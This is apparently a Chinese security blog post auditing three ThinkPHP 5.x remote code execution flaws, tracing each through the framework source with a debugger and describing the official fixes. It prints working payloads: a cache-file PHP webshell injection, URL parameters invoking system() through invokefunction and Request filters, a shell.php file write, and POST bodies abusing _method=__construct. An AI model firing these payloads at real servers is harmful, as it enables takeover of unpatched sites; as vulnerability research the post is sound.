[PHP代码审计]TP5漏洞--RCE


还是先上七月火师傅的文章:ThinkPHP

环境搭建,按版本自行搭建,测试版本在漏洞分析处,只需修改 composer.json,5.0 和 5.1 不能直接composer

# v5.0.x
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
将 composer.json 文件的 require 字段设置成如下:
"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.15"
}
然后执行 composer update
# v5.1.x
composer create-project --prefer-dist topthink/think tpdemo
将 composer.json 文件的 require 字段设置成如下:
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.7"
}
然后执行 composer update

[TOC]

RCE 1 (缓存写马)

这个比较鸡肋,不过还是分析分析,从简单的开始嘛

漏洞概述

网站通常使用缓存来减小服务器压力,而 thinkphp 在缓存时没有对缓存内容进行检测、过滤且将缓存存在 php 文件中,这就导致攻击者可以构造特殊的缓存内容来控制整个服务器

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

利用条件

之所以说它鸡肋就是因为条件太多了。。。

  • 站点能列出缓存文件,知道马子路径
  • 缓存目录需暴露在 web 目录下,可访问
  • 程序采用默认情况,一旦修改 key 或 设置this->options['prefix']且没有源码参考那就直接嗝屁
  • 。。。

漏洞利用

POC:http://127.0.0.1/PHPSec/tp5.0/public/?username=mochazz123%0d%0a@eval($_GET[_]);//

image-20210728173718226

漏洞分析

测试版本:5.0.10

v5.0.11 releases 说明:包含了一个安全更新。接着看 commit ,找到 改进缓存驱动,此改进直接加上了退出死亡函数,没法利用了

image-20210728171800911

image-20210728173412775

打上断点开始吧

image-20210728173917141

由于 Cache::set("name",input("get.username"));未实例化,所以开局会有 Loder.php的自动加载机制,可以不用看

image-20210728174132535

接着来到助手函数,helper.phpinput() 来获取原始数据,然后是 Request.phpget() 方法来获取 get 传入的值

image-20210728174428244

然后 input() 解析、强制转换数据,直接跳了。这就到了~ Cache.phpset() 写缓存 set()前的初始化

image-20210728174647015

跟进去,这里是根据配置来选择不同的缓存操作,默认情况下是缓存 file

image-20210729145417991

image-20210729145714223

第 72 行跟进去,看看 connect() ,寻找要缓存的驱动并在断点处( 51 行)进行实例化,由自动加载器完成

image-20210729150256042

初始化结束后开始写缓存,首先设置缓存有效期,然后进入 getCacheKey($name) 构造缓存文件名

image-20210729150856779

参数值默认为 name ,第一个红框取 md5 加密后的 name 前两位为子目录后面为文件名,如果设置了 $this->options['prefix'],还会在默认缓存目录前再多一个父目录

image-20210729151107294

在 147 行,由于默认的 $this->options['data_compress']false所以数据并不会被压缩,原样拼接到 data 里面,然后写入文件,至此缓存写马完成

image-20210729151649946

image-20210729151621882

漏洞修复

  • 官方修复直接加上了死亡退出
  • 或者在thinkphp\library\think\cache\driver\File.php -> public function set($name, $value, $expire = null)方法中加上 $data = str_replace(PHP_EOL, ”, $data); 去除换行符以达到不可绕过
  • 限制目录访问,使得缓存目录不可达
  • 。。。

RCE 2 (未开启强制路由导致 RCE )

昨天写的似乎没保存。。。今天重写。

推荐参考:tp5 poc 从0到1–水泡泡

漏洞概述

本次漏洞是由于 ThinkPHP 底层未对控制器名进行很好的检测导致在未开启强制路由的情况下可以调用任意类及方法

漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30

漏洞利用

这个利用就多了

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

两个大版本因加载类不同,payload也会有所不同:

ThinkPHP 5.1.x                  ThinkPHP 5.0.x
stdClass                        stdClass
Exception                       Exception
ErrorException                  ErrorException
Closure                         Closure
Generator                       Generator
DateTime                        DateTime
DateTimeImmutable               DateTimeImmutable
DateTimeZone                    DateTimeZone
DateInterval                    DateInterval
DatePeriod                      DatePeriod
LibXMLError                     LibXMLError
DOMException                    DOMException
DOMStringList                   DOMStringList
DOMNameList                     DOMNameList
DOMImplementationList           DOMImplementationList
DOMImplementationSource         DOMImplementationSource
DOMImplementation               DOMImplementation
DOMNode                         DOMNode
DOMNameSpaceNode                DOMNameSpaceNode
DOMDocumentFragment             DOMDocumentFragment
DOMDocument                     DOMDocument
DOMNodeList                     DOMNodeList
DOMNamedNodeMap                 DOMNamedNodeMap
DOMCharacterData                DOMCharacterData
DOMAttr                         DOMAttr
DOMElement                      DOMElement
DOMText                         DOMText
DOMComment                      DOMComment
DOMTypeinfo                     DOMTypeinfo
DOMUserDataHandler              DOMUserDataHandler
DOMDomError                     DOMDomError
DOMErrorHandler                 DOMErrorHandler
DOMLocator                      DOMLocator
DOMConfiguration                DOMConfiguration
DOMCdataSection                 DOMCdataSection
DOMDocumentType                 DOMDocumentType
DOMNotation                     DOMNotation
DOMEntity                       DOMEntity
DOMEntityReference              DOMEntityReference
DOMProcessingInstruction        DOMProcessingInstruction
DOMStringExtend                 DOMStringExtend
DOMXPath                        DOMXPath
finfo                           finfo
LogicException                  LogicException
BadFunctionCallException        BadFunctionCallException
BadMethodCallException          BadMethodCallException
DomainException                 DomainException
InvalidArgumentException        InvalidArgumentException
LengthException                 LengthException
OutOfRangeException             OutOfRangeException
RuntimeException                RuntimeException
OutOfBoundsException            OutOfBoundsException
OverflowException               OverflowException
RangeException                  RangeException
UnderflowException              UnderflowException
UnexpectedValueException        UnexpectedValueException
RecursiveIteratorIterator       RecursiveIteratorIterator
IteratorIterator                IteratorIterator
FilterIterator                  FilterIterator
RecursiveFilterIterator         RecursiveFilterIterator
CallbackFilterIterator          CallbackFilterIterator
RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator
ParentIterator                  ParentIterator
LimitIterator                   LimitIterator
CachingIterator                 CachingIterator
RecursiveCachingIterator        RecursiveCachingIterator
NoRewindIterator                NoRewindIterator
AppendIterator                  AppendIterator
InfiniteIterator                InfiniteIterator
RegexIterator                   RegexIterator
RecursiveRegexIterator          RecursiveRegexIterator
EmptyIterator                   EmptyIterator
RecursiveTreeIterator           RecursiveTreeIterator
ArrayObject                     ArrayObject
ArrayIterator                   ArrayIterator
RecursiveArrayIterator          RecursiveArrayIterator
SplFileInfo                     SplFileInfo
DirectoryIterator               DirectoryIterator
FilesystemIterator              FilesystemIterator
RecursiveDirectoryIterator      RecursiveDirectoryIterator
GlobIterator                    GlobIterator
SplFileObject                   SplFileObject
SplTempFileObject               SplTempFileObject
SplDoublyLinkedList             SplDoublyLinkedList
SplQueue                        SplQueue
SplStack                        SplStack
SplHeap                         SplHeap
SplMinHeap                      SplMinHeap
SplMaxHeap                      SplMaxHeap
SplPriorityQueue                SplPriorityQueue
SplFixedArray                   SplFixedArray
SplObjectStorage                SplObjectStorage
MultipleIterator                MultipleIterator
SessionHandler                  SessionHandler
ReflectionException             ReflectionException
Reflection                      Reflection
ReflectionFunctionAbstract      ReflectionFunctionAbstract
ReflectionFunction              ReflectionFunction
ReflectionParameter             ReflectionParameter
ReflectionMethod                ReflectionMethod
ReflectionClass                 ReflectionClass
ReflectionObject                ReflectionObject
ReflectionProperty              ReflectionProperty
ReflectionExtension             ReflectionExtension
ReflectionZendExtension         ReflectionZendExtension
__PHP_Incomplete_Class          __PHP_Incomplete_Class
php_user_filter                 php_user_filter
Directory                       Directory
SimpleXMLElement                SimpleXMLElement
SimpleXMLIterator               SimpleXMLIterator
SoapClient                      SoapClient
SoapVar                         SoapVar
SoapServer                      SoapServer
SoapFault                       SoapFault
SoapParam                       SoapParam
SoapHeader                      SoapHeader
PharException                   PharException
Phar                            Phar
PharData                        PharData
PharFileInfo                    PharFileInfo
XMLReader                       XMLReader
XMLWriter                       XMLWriter
ZipArchive                      ZipArchive
PDOException                    PDOException
PDO                             PDO
PDOStatement                    PDOStatement
PDORow                          PDORow
CURLFile                        CURLFile
Collator                        Collator
NumberFormatter                 NumberFormatter
Normalizer                      Normalizer
Locale                          Locale
MessageFormatter                MessageFormatter
IntlDateFormatter               IntlDateFormatter
ResourceBundle                  ResourceBundle
Transliterator                  Transliterator
IntlTimeZone                    IntlTimeZone
IntlCalendar                    IntlCalendar
IntlGregorianCalendar           IntlGregorianCalendar
Spoofchecker                    Spoofchecker
IntlException                   IntlException
IntlIterator                    IntlIterator
IntlBreakIterator               IntlBreakIterator
IntlRuleBasedBreakIterator      IntlRuleBasedBreakIterator
IntlCodePointBreakIterator      IntlCodePointBreakIterator
IntlPartsIterator               IntlPartsIterator
UConverter                      UConverter
JsonIncrementalParser           JsonIncrementalParser
mysqli_sql_exception            mysqli_sql_exception
mysqli_driver                   mysqli_driver
mysqli                          mysqli
mysqli_warning                  mysqli_warning
mysqli_result                   mysqli_result
mysqli_stmt                     mysqli_stmt
Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9            Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c
think\Loader                    think\Loader
think\Error                     think\Error
think\Container                 think\Config
think\App                       think\App
think\Env                       think\Request
think\Config                    think\Hook
think\Hook                      think\Env
think\Facade                    think\Lang
think\facade\Env                think\Log
env                             think\Route
think\Db
think\Lang
think\Request
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Log
think\log\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

漏洞分析

测试版本:5.1.30

本次环境是 tp 5.1.30,所以去看看 5.1.31 的 releases 说明及 commit

image-20210801005030171

image-20210801005653569

除了数字字母都不能进去。然后看看官方公众号发的更新说明,更新后的版本是 V5.1.31 和 V5.0.23,这次复现也去看前面的版本

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.05.1版本,推荐尽快更新到最新版本。如果暂时无法更新到最新版本,请开启强制路由

这次也是先不跟 poc,先用正常的路由跟进去看看是怎么个情况。在 commit 更新处打上断点,新增控制器:A.php(大写)

<?php
namespace app\index\controller;
use think\Cache;
class A
{
    public function b()
    {
        return "Welcome!";
    }
}

然后访问 http://127.0.0.1/PHPSec/tpdemo/public/index.php/index/a/b (方便分析),命中断点

image-20210804165531770

一路跟下来,来到 App.php 的 432 行(第一次会跳过),跟进 run()

image-20210804165709210

来到关键点: exec(),跟进

image-20210804165751779

在实例化容器处跟进

image-20210804170058452

继续跟 parseModuleAndClass()

image-20210804170147377

解析模块,如果含有 \ 则直接返回,本次没有反斜杠,来到 653 行,跟进 parseClass()

image-20210804170216410

跟进 parseName()

image-20210804170411450

parseName()将字符串转为 驼峰命名

image-20210804170624647

接着将 命名空间与模块名拼接返回

image-20210804170911631

image-20210804171000268

然后就是判断类是否存在,并加载它

image-20210804171115598

能看出来,整个过程没有检测路径,可以考虑到任意类加载

直接访问 http://127.0.0.1/PHPSec/tpdemo/public/index.php/index/think\app/index,chrome会将反斜杠转为正斜杠,因为这是Windows文件路径的作用,且RFC 2396根本不允许URL中使用该字符(因此,与该字符有关的任何行为都只是错误恢复行为)。

那不就没办法加载其他类了?nonono,看 tp 配置文件,默认未开启强制路由

image-20210804172105921

所以可以这样:http://127.0.0.1/PHPSec/tpdemo/public/index.php/?s=/index/think\app/index,成功加载了 think\App

image-20210804172237341

所以此漏洞可以利用命名空间调用任意类,形如:http://127.0.0.1/PHPSec/tpdemo/public/index.php?s=/index/namespace\class/method

payload:http://127.0.0.1/PHPSec/tpdemo/public/index.php/?s=index/\think\Request/input&filter[]=system&data=whoami

一路跟下来关键点在 \thinkphp\library\think\route\dispatch\Module.php!exec() 第135 行 $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); 此处反射调用

image-20210804175225977

跟进去

image-20210804175238812

然后在 thinkphp\library\think\Request.php!input() 第1376 行进行过滤

image-20210804175323059

过滤调用了我们指定的 system(),达到想要的结果

image-20210804175423192

攻击总结:

总结

漏洞修复

增加正则表达式 ^[A-Za-z](\w)*$ ,对控制器名进行合法性检测

参考

[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录

RCE 3 ( 核心类 Request 变量覆盖导致 RCE )

漏洞概述

本次漏洞是由于 ThinkPHP 底层未对控制器名进行很好的检测导致在未开启强制路由的情况下可以调用任意类及方法

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.235.1.0<=ThinkPHP<=5.1.30

漏洞利用

5.0.13 的未验证

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

漏洞分析

测试版本:5.0.23

本次版本是 5.0.23,所以去看看 5.0.24 releases 的说明,接着去看其 commit ,发现 改进Request类 的改动,增加了对 $method 的判断

image-20210805110154073

image-20210805110255156

开启 app_debug

上一个 POC 跟着调试一波 url:http://127.0.0.1/PHPSec/tp5.0/public/index.php ,POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami,在代码改动处打上断点

命中断点,跟进

image-20210805133911896

来到 poc 的 构造函数,此处判断属性是否存在然后直接覆盖变量

image-20210805134034204

一路走到 App.php!run() 的126 行,记录路由和请求信息处,跟进$request->param()

image-20210805134712582

在跟进 method()

image-20210805135302251

继续跟 server()

image-20210805135351937

这里最后调用了 input()

image-20210805135535400

跟进来后发现只有执行的命令,执行命令的函数没了,别急,接着往下走

image-20210805135634117

重点就在这一段,先跟 getFilter() 获取过滤器名

image-20210805135712203

在 1064 行由于 filter 原本是空的所以赋值为我们开始时构造函数覆盖的变量,也就是 system

image-20210805135836775

然后来到 1034 行:$this->filterValue($data, $name, $filter);,跟进去,成功执行命令

image-20210805140159040

总结攻击流程:

总结

未开启 app_debug

如果 poc 返回 404 的话应该是没安装验证码模块,执行 composer require topthink/think-captcha=1.*即可

POC:http://127.0.0.1/PHPSec/tp5.0/public/?s=captcha POST:_method=__construct&filter[]=system&method=get&get[]=whoami

看调用堆栈,后面和开启 debug 一样,不多哔哔,不同的是前面触发点是在 App.php!run() --> exec()

image-20210805152051030

image-20210805152243807

image-20210805152538131

现在的问题是怎么把 $dispatch['type'] 的值 为 controller/method,向上回溯可以发现 $dispatchApp.php 的 116 行赋值,跟进去

image-20210805154318230

然后在 648 行检测路由处跟进

image-20210805154402630

然后到 Route.php!check() 的 887 行,路由规则检测 跟进

image-20210805154523957

964 行 checkRule()

image-20210805154602730

1203 行 parseRule()

image-20210805154631052

这个函数里的判断直接定义了 type 的值,$route 里面是有 反斜杠 的,所以进到第三个分支里面

image-20210805154733173

image-20210805154823782

那第四个怎么进去呢?ThinkPHP5 中支持 5种 路由地址方式定义

定义方式 定义格式
方式1:路由到模块/控制器 ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2:路由到重定向地址 ‘外部地址’(默认301重定向) 或者 [‘外部地址’,’重定向代码’]
方式3:路由到控制器的方法 ‘@[模块/控制器/]操作’
方式4:路由到类的方法 ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5:路由到闭包函数 闭包函数定义(支持参数传入)

捣鼓一会发现都失败了。。。菜如狗

安装验证码模块之后,在 vendor\topthink\think-captcha\src\helper.php 中定义了 验证码 的路由。程序初始化会自动加载 vendor 目录下的文件,所以可以直接利用这个路由进到第三个 if 里面

image-20210805161007518

漏洞修复

对请求方法 $method 进行白名单校验,其只能为 ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'] 中的一个

image-20210805161327014

总结

三个 RCE 分析下来很舒服,可以直接感受到 代码审计 的魅力,也很敬佩前辈写的 POC 及分析文章,实在巧妙,而我只会 tql


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
下一篇 
[PHP代码审计]TP5漏洞--Sql注入分析 [PHP代码审计]TP5漏洞--Sql注入分析
试着审计PHP,网上大师傅们分析的都很好,我就不班门弄斧了,仅记录复现过程(不推荐跟踪学习),学习审计思路。 贴几个师傅的链接,环境搭建、详细分析可以去看看 七月火师傅 标题的xxx注入只是随便起的,不一定只有那一个,举个栗子而已 环境搭建
2021-07-23
  目录